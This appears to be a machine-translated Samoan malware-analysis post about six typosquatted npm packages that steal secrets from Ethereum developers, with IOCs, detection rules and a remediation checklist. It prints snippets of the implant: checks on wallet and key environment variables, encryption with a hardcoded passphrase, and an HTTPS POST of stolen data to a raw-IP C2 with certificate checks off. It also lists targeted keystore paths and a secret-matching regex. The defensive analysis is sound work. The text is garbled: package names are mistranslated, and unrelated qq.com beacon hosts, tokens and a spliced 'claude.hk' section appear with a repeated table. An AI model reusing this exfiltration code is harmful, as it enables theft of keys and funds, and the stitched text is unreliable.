TL; AMA
I le aso 6 o Me, 2026, o se tasi o le au lolomi npm, namikazesarada010206, na fa'alauiloa atu ni afifi leaga se ono na fa'atatau i le fa'avaega o atina'e a le Ethereum, Solidity, ma le DeFi.
O afifi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ma web3-utils-core, faʻaaoga igoa talafeagai ua mamanuina e foliga o ni faletusi fesoasoani mo meafaigaluega lauiloa Web3.
Sa tutusa uma lava mea sa i totonu o afifi e ono telemetry.js faila. E tutusa lava le faila i le byte i le cluster atoa, faatasi ai ma le SHA-256:
E le fa'atinoina le polokalama fa'apolopolo i le taimi e fa'apipi'i ai. E leai preinstall or postinstall matau. Nai lo lena, e fa'agaoioia pe a fa'aulufale mai le afifi e ala i require().
E tāua lenā fa'amatalaga.
E fa'atali le implant se'ia fa'aogaina moni e le tagata atia'e le afifi. Ona siaki lea pe foliga le workstation e pei o se siosiomaga moni o le atina'eina o Ethereum / Solidity. E su'e ai ki Alchemy po'o Infura, ki tumaoti, mnemonics, ki a le deployer, po'o se fa'asinomaga Foundry i le lotoifale.
Afai e fetaui le 'host', e aoina e le gaoi ki tumaoti SSH, fale teu oloa o le atotupe Foundry / Geth / Brownie, .env* faila, ma fesuia'iga maaleale o le siosiomaga. E fa'ailogaina le afifi i le AES-256-GCM e fa'aaoga ai se upu fa'alilolilo ua fa'amaufa'ailogaina ma fa'aliliu atu i se IPv4 C2 endpoint mata ma ua le fa'agata le fa'amaoniga a le TLS.
Ua faamaonia e le polokalama a Xygeni's Malware Early Warning (MEW) o afifi uma e ono o ni mea leaga. O loʻo faʻatali le afifi o le lipoti o le aveeseina o le resitala npm.
O le Vaega: Ono Afifi, Tasi le Lomitusi
O le tala a le lomitusi namikazesarada010206 sa feso'ota'i atu i le tuatusi Gmail e le'i fa'amaoniaina namikazesarada010206@gmail.com.
Na aliali mai le tauvaga o se lomiga e tasi le aso i le aso 6 o Me, 2026. O afifi uma e ono na faʻaliliuina e pei ona 1.0.0, e leai ni faʻalagolago i le taimi e faʻagaoioia ai, ma e naʻo faila e tolu na lafoina:
package.json index.js telemetry.jsNa latou folafola mai foi le punaoa lava e tasi e teu ai:
https://github.com/harunosakura030303-maker/evmchain-configO afifi muamua e tolu na maua e masini su'esu'e MEW i le taimi muamua na lolomiina ai. O afifi e tolu na totoe na fa'amalosia e fa'ailogaina ina ua mae'a le iloiloga a le au su'esu'e i le fa'amatalaga npm a le lomitusi. I le taimi lava e tasi le byte-identical telemetry.js na faʻamaonia i totonu o le vaega atoa, na tapunia ona o ni mea leaga ona o le tutusa.
| afī | faʻamatalaga | npm Lomia | Tiketi MEW | filifiliga |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malie |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malie |
| meafaigaluega autu o pulou-malo | 1.0.0 | 2026-05-06 | #51051 | Malie |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Leaga, e ala i le tumau |
| meafaigaluega fa'a'olo | 1.0.0 | 2026-05-06 | #51071 | Leaga, e ala i le tumau |
| 'upega tafa'ilagi-utils-core | 1.0.0 | 2026-05-06 | #51070 | Leaga, e ala i le tumau |
E faigofie ae aoga le fuafuaga o le faaigoaina.
O nei afifi e lē fa'atusalia igoa tonu i luga. Nai lo lea, latou te fa'aogaina ni fa'aopoopoga "aoga" talafeagai e pei o -core, -utils, ma -utils-core. O le mea lea e foliga mai ai o ni faletusi soa e ono faʻamoemoeina e se tagata atiaʻe e vaʻai i ai e lata i meafaigaluega Web3.
| Afifi Fa'aleaga | Fa'amoemoega Fa'aletulafono |
|---|---|
| viem-core | viem, o se kalani lauiloa a le Ethereum TypeScript |
| viem-utils-core | viem |
| meafaigaluega autu o pulou-malo | hardhat, o se siosiomaga lauiloa mo le atina'eina o le Solidity |
| evm-utils | Igoa lautele o meafaigaluega EVM |
| meafaigaluega fa'a'olo | fale gaosimea, o se filifili meafaigaluega Solidity |
| 'upega tafa'ilagi-utils-core | web3-utils, fesoasoani Web3.js |
O le mamanu lea o le "afifi faaopoopo": e lē o le "O aʻu o le afifi moni," ae o le "Ou te foliga o se fesoasoani talafeagai i le afifi moni."
Mo tagata atiaʻe DeFi o loʻo vave ona gaoioi, ua lava lea e faʻatupu ai le lamatiaga.
O le ā e Tupu pe a Fa'aulufale Mai le Afifi
E la'ititi le filifili o osofa'iga, e fuafuaina lelei, ma e taula'i i siosiomaga o atina'e fa'akomepiuta.
E leai se matau fa'apipi'i. Nai lo lea, o afifi ta'itasi e aofia ai se index.js lea e auina atu i fafo le galuega faatino o le stub ona uta lea o le vaega telemetry leaga.
require('./telemetry').init();O lona uiga e fa'agaoioia le malware i le taimi muamua na fa'aulufale mai ai.
E aogā tele lea mo le tagata osofaʻi. E tele masini suʻesuʻe ma masini oneone e taulaʻi i amioga i le taimi e faʻapipiʻi ai. E faʻatali lenei afifi seʻia faʻaaogaina moni e se tagata atiaʻe, tusitusiga faufale, seti suʻega, poʻo le auala faʻatino.
Fa'agaoioiga o le Fa'agaoioiga: Na'o le Fa'amumuina i Nofoaga Faigaluega Moni a le Atia'e Web3
O le vaega sili ona tāua o le mea na faʻapipiʻi (implant) o le faitotoʻa faʻagaoioiga (activation gate).
E siaki e le malware ia fesuia'iga o le siosiomaga e masani ona maua i masini atia'e Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);E siaki foʻi pe foliga mai ua faʻapipiʻiina le Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry'))Afai e le moni se tasi o tuutuuga, e toe foʻi mai le galuega faatino ma e leai se mea e fai.
O le mea lea e fa'afilemuina ai le afifi i siosiomaga fa'ata'ita'i lautele. O se sandbox e aunoa ma le Foundry, Alchemy ki, Infura ki, private ki, po'o ni mnemonics e ono va'aia ai se fa'aulufale mai e foliga mai e le afaina.
I luga o se 'au'aunaga e fetaui, e fa'atali le malware mo le 60 i le 90 sekone a'o le'i aoina:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();O le fa'atuai e fa'aitiitia ai le fesoota'iga manino i le va o le fa'aulufale mai ma le fa'amamāina mai fafo. .unref() e mafai ai fo'i e le telefoni ona alu ese le fa'agasologa a le 'au talimalo pe afai na fa'aulufale mai le afifi i se tusitusiga pu'upu'u.
E lē o se amioga pisapisaō lenei e pei o le fa'atopetope ma le pu'eina o mea. O se gaoi fa'apitoa ua mamanuina e 'alo 'ese ai mai le fa'agaoioia se'i vagana ua tatau ona gaoia mai le siosiomaga o le tagata atia'e.
O Mea e Aoina e le Gaoi
O le taimi lava e pasia ai le faitotoa fa'agaoioiga, e aoina e le malware mai punaoa e sili ona taua i le atina'eina o le Web3: ki tumaoti, teuoloa o ki o atotupe, fa'amaoniga o le fa'atinoina, mea lilo o le ao, fa'ailoga npm, ma le fa'atulagaina o galuega faatino i le lotoifale.
| puna | O le ā ua Aoina |
|---|---|
| process.env | So'o se fesuia'iga e fetaui ma le /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Faila o lo'o iai le PRIVATE KEY po'o le BEGIN OPENSSH, e aofia ai ma anotusi atoa o le faila |
| ~/.fale gaosi oloa/faleoloa ki/* | Faila o le fale teu oloa |
| ~/.ethereum/faleoloa ki/* | Faila o le teuoloa autu o le atotupe Geth |
| ~/.brownie/teugatupe/* | Faila o le teuoloa ki o le atotupe Brownie |
| ${cwd}/.env | O anotusi atoa o le faila |
| ${cwd}/.env.local | O anotusi atoa o le faila |
| ${cwd}/.env.production | O anotusi atoa o le faila |
| ${cwd}/.env.development | O anotusi atoa o le faila |
| os.igoa talimalo() | Fa'amaumauga o le talimalo |
| crypto.randomUUID() | Fa'ailoga o le tagata ua a'afia/sauniga |
| Date.now() | Fa'ailoga taimi o le aoina |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comO fa'ailoga ATTA e fa'apea:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Matou te le'i mafai ona fa'amaonia pe o le telemetry o le auiliiliga lava ia a le tagata fa'agaoioia pe o se auala e maua ai tupe e ese mai ai. E tutusa lava fa'ailoga ATTA i fa'ata'ita'iga uma e lua na matou su'esu'eina.
Vaega B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
O le faʻataʻitaʻiga o Aperila 1 o le vaega muamua ma sili ona faigata o le tauvaga.
heibai:2.1.88-claude.hk-4 na lomia e wuguoqiangvip28, o se teugatupe na faia ia Iuni 7, 2025. Na fa'aalia manino e le afifi ia lava e fa'asaga i le tulafono 2.1.88 Fa'asa'olotoga fa'aletagata.
E lē popole i le CA-cert MITM. Ae, e pepelo i le tagata faʻaoga e uiga i le OAuth endpoint.
O faʻaopoopoga leaga i luga o le punaoa o le Claude Code ua faʻasalalauina e aofia ai:
| puna | O le ā ua Aoina |
|---|---|
| process.env | So'o se fesuia'iga e fetaui ma le /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Faila o lo'o iai le PRIVATE KEY po'o le BEGIN OPENSSH, e aofia ai ma anotusi atoa o le faila |
| ~/.fale gaosi oloa/faleoloa ki/* | Faila o le fale teu oloa |
| ~/.ethereum/faleoloa ki/* | Faila o le teuoloa autu o le atotupe Geth |
| ~/.brownie/teugatupe/* | Faila o le teuoloa ki o le atotupe Brownie |
| ${cwd}/.env | O anotusi atoa o le faila |
| ${cwd}/.env.local | O anotusi atoa o le faila |
| ${cwd}/.env.production | O anotusi atoa o le faila |
| ${cwd}/.env.development | O anotusi atoa o le faila |
| os.igoa talimalo() | Fa'amaumauga o le talimalo |
| crypto.randomUUID() | Fa'ailoga o le tagata ua a'afia/sauniga |
| Date.now() | Fa'ailoga taimi o le aoina |
E matuā patino lava le lisi o sini. E lē o se gaoi masani lea o le upega tafaʻilagi poʻo le faʻaaogaina lautele o faʻamaoniga. E faʻatatau lea i tagata atiaʻe o loʻo fausia, faʻataʻitaʻi, faʻapipiʻi, pe faʻagaoioia polokalama Ethereum.
E matuā tāua tele le aofia ai o ki teuoloa o Foundry, Geth, ma Brownie. O nei faila e mafai ona faʻatusalia ai le avanoa tuʻusaʻo i atotupe poʻo faʻasinomaga o le faʻatinoina. Afai e mafai e le tagata osofaʻi ona faʻapipiʻi i latou ma upu faʻalilolilo, faʻamatalaga taua, poʻo mea lilo o le siosiomaga, atonu e mafai ona latou faʻaliliuina tupe, faʻatagā i tagata faʻatinoina, pe faʻaleagaina galuega faʻatino o konekarate atamai.
Fa'ailoga Fa'alilolilo A'o Le'i Fa'amamāina
E fa'alilolilo e le malware fa'amatalaga na aoina a'o le'i lafoina atu.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);O le upu faataga ua fa'amaufa'ailogaina e fa'apea:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dO le uta mulimuli e afifiina o le JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}E lē fa'ateleina e le fa'ailoga faalilolilo le alualu i luma o le polokalama fa'apolokalame. Peita'i, e faigata ai ona siakiina le feso'ota'iga. O le a va'aia e se tagata puipuia o lo'o va'ava'ai i le alu ese o se uta JSON, ae le o ki na gaoia, faila atotupe, po'o .env anotusi e aunoa ma le upu faataga ua fa'ailogaina ma le faiga e mafai ona tatala ai le malamalama.
Fa'amamāina i se Raw IPv4 C2
O le auala e fa'amamā ai le ea ua fa'ailogaina fa'apitoa:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});E auina atu e le malware faʻamatalaga i:
https://76.13.37.80:8443/api/v1/telemetryE lua fa'amatalaga e tu matilatila mai.
Muamua, o le C2 o se tuatusi IPv4 mata nai lo se 'upega tafaʻilagi (domain). O lea e aveese ai le manaʻomia mo le resitalaina o le 'upega tafaʻilagi ma ʻalofia ai nisi o faʻamatalaga e faʻavae i luga o le 'upega tafaʻilagi.
Lua, ua fa'agata le fa'amaoniga a le TLS pe a:
rejectUnauthorized: falseO lea e mafai ai e le malware ona talia soʻo se tusi faamaonia, e aofia ai tusi faamaonia ua sainia e ia lava. I se isi faaupuga, e maua e le tagata osofaʻi ni fesiitaiga faʻailoga e aunoa ma le manaʻomia o se tusi faamaonia lautele aloaia.
E leai se toe taumafai ma e leai se 'au'aunaga fa'afo'i. E foloina fa'alilolilo mea sese. O lenei mea e fa'afilemu ai le afifi pe afai e le o iai le C2 pe le mafai ona o'o atu i ai.
Aisea e Taua ai Lenei Fa'asalalauga
O le tele o afifi npm leaga e faʻatatau i tagata atiaʻe e tulituliloa faʻamaoniga lautele: npm tokens, AWS ki, GitHub tokens, poʻo .npmrc faila.
O lenei tauvaga e fa'aitiitia ai le sini.
E su'e ni fa'ailoga o lo'o iai le masini i se Ethereum po'o se Solidity developer. Ona tosoina lea o aseta tonu lava e taua i lena siosiomaga: wallet keystores, private keys, mnemonics, deployer keys, .env faila, ma ki SSH.
O le mea lea e sili atu ai ona matautia le tauvaga mo 'au Web3 nai lo se gaoi npm masani.
O se faʻamaʻi manuia e ono faʻaalia ai:
- Atotupe fa'atino
- Ki o le pulega o konekarate atamai
- Ki o le kamupani e tu'uina atu le RPC
- Fa'amaoniga o le fa'alauiloaina o le ao
- fa'ailoga lolomiina npm
- Avanoa SSH i le atina'e po'o le fausiaina o atina'e
- Mea lilo o le poloketi o loʻo teuina i totonu
.envfaila - O fale teu oloa mo le atotupe Foundry, Geth, po'o Brownie
O igoa o afifi e faʻaalia ai foʻi le faʻainisinia faʻaagafesootai manino. Latou te faʻatatau i le faiga faʻavae o le Web3 developer e ala i igoa masani o meafaigaluega: viem, hardhat, foundry, evm, ma web3.
E lē manaʻomia e le tagata fai ata ona faʻaleaogaina galuega moni. E naʻo se tagata atiaʻe e manaʻomia e faʻapipiʻi se mea e foliga mai o se afifi fesoasoani talafeagai.
Fa'ailoga o le Fete'ena'iga ma le Iloa
| Afifi ma le Lomitusi | |
|---|---|
| laufanua | tāua |
| lomitusi npm | namikazesarada010206 |
| Imeli a le lomitusi | namikazesarada010206@gmail.com |
| Email fa'amaonia | leai |
| SCM faʻamaonia | leai |
| Sikoa o le talaaga | 1.0 |
| afifi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| lomiga | 1.0.0 uma |
| Teugatupe punaoa | https://github.com/harunosakura030303-maker/evmchain-config |
| Ua fa'amaonia le leaga | O afifi uma e ono |
| Network | |
|---|---|
| ituaiga | tāua |
| Fa'ai'uga C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Uafu C2 | 8443/tcp |
| Amioga a le TLS | te'enaE le'i fa'atagaina: sese |
| Fuafuaga o le uta | {"v":2,"iv": ,"d": ,"t": } |
| Faila ma Hashes | |
|---|---|
| ituaiga | tāua |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Fa'atulagaga o le afifi | package.json, index.js, telemetry.js |
| Faitau faila | 3 |
| Tele atoa e tusa ma le aofaʻi | 3.4 KB |
Fa'ailoilo Fa'agaoioia
E siaki e le malware nei fesuiaʻiga o le siosiomaga:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYE siaki fo'i mo:
~/.foundry/Ala Fa'atatau mo le 'Au Talimalo
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentAoina o le Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iFa'amatalaga o le Sailiga
E tele tulafono e pu'eina lenei tauvaga e aunoa ma le mana'omia o se iloiloga atoa o amioga.
Muamua, su'esu'e faila loka mo igoa e ono o afifi leaga:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreSo'o se ta'aloga i totonu package-lock.json, yarn.lock, pnpm-lock.yaml, po o node_modules e tatau ona taulimaina le talafaasolopito o se mea mata’utia.
Lua, mata'ituina mo fa'agasologa a le Node.js o lo'o faitauina auala o le wallet keystore:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/E seasea lava ona avea lenei amioga ma amioga talafeagai mo se afifi na faaulufale mai o se fesoasoani faalagolago. E sili ona masalomia pe a mulimuli mai ai ni gaoioiga fesoʻotaʻiga i fafo.
Tolu, poloka pe lapataʻi i fesoʻotaʻiga HTTPS i:
76.13.37.80:8443Aemaise lava pe afai o le ala o le talosaga e:
/api/v1/telemetryFa, saili ni afifi npm e tuʻufaʻatasia ai nei uiga:
- Lomitusi fou pe maualalo le talaaga
- Teugatupe Gmail e le'i fa'amaonia
- Igoa o le afifi e lata ane i le Web3
- Leai se talafaasolopito taua o le teuina o oloa
- Fa'atulagaga afifi la'ititi
index.jslea e utaina ai se faila telemetry poʻo se faila fesoasoani- Leai ni fa'alagolago i le taimi e fa'agaoioi ai
- Aoina o suiga o le siosiomaga maaleale
- Avanoa i le teuina o ki o le atotupe
E sili atu le aoga o lenei mamanu nai lo le IOC e tasi auā e ono suia e le afifi e sosoo ai le tuatusi IP ae tumau pea le manatu fa'atatau tutusa.
Lisi Siaki o Tali Fa'aleaogaina
Afai na faʻaaogaina e se tagata atiaʻe se tasi o afifi e ono ma e fetaui lona siosiomaga ma le faitotoʻa faʻagaoioia, ia taulimaina le komepiuta faigaluega o se mea ua faʻaleagaina.
E aofia ai masini ua faʻapipiʻi i le Foundry, ki Alchemy poʻo Infura i le siosiomaga, ki tumaoti, mnemonics, poʻo ki a le deployer.
Tali fautuaina:
- Motusia le 'au talimalo mai le feso'ota'iga.
- Faasao
node_modules, faila loka, talafaasolopito o le atigi, ma ogalaau talafeagai mo suʻesuʻega faʻasaienisi. - Fa'ata'amilo i lalo o keypair SSH uma
~/.ssh/. - Fa'ata'amilo ki o le atotupe mo fale teu ki uma i lalo
~/.foundry,~/.ethereum, ma~/.brownie. - Fesiita'i tupe i atotupe fou.
- Fa'ata'amilomilo mea lilo uma o lo'o teuina i totonu
.env*faila i totonu o fale teu oloa na galue ai le tagata atia'e. - Fa'afesuia'i mea lilo o le siosiomaga e fetaui ma le regex o le aoina, e aofia ai ki AWS, tokens npm, tokens fa'atino, ki API, ki tumaoti, fatu, ma mnemonics.
- Audit cloud, npm, GitHub, RPC provider, ma gaoioiga a le blockchain talu mai le taimi muamua na faʻapipiʻi ai le afifi.
- Toe iloilo le ata o le masini komepiuta a'o le'i toe fa'aaogaina.
Mea e Tatau Ona Aveese e le Au Puipui
O lenei tauvaga o loʻo faʻaalia ai le auala o loʻo faʻagasolo ai le faʻaogaina o le npm typosquatting e faʻatatau i faiga faʻavae taua a le au atinaʻe.
E le'i mana'omia e le tagata fai ata tifaga le fa'amaoni. Latou te le'i mana'omia se fa'alavelave. Latou te le'i mana'omia fo'i le fa'atinoina i le taimi e fa'apipi'i ai.
Nai lo lea, sa latou faalagolago i mea e tolu:
- Igoa talafeagai o afifi Web3
- Fa'agaoioia na'o masini moni e atiina ae ai crypto
- Gaoi tuusa'o o faila ma mea lilo e sili ona taua i le au atina'e Ethereum
O le mea lea e faigofie ai ona misia le tauvaga i le suʻesuʻega lautele ma e matautia pe a tulaueleele i le siosiomaga saʻo.
Mo 'au a le Web3, ua manino le lesona: ia taulima igoa o mea e fa'alagolago i ai o se vaega o lau fa'ata'ita'iga taufa'amata'u. O se afifi e foliga mai o se fesoasoani e le afaina e mafai lava ona avea ma ala sili ona pu'upu'u i le fa'aleagaina o le atotupe.
Ua lipotia i le resitala npm. Matou te faʻafouina lenei pou pe a aveese le teugatupe a le lomitusi ma afifi.
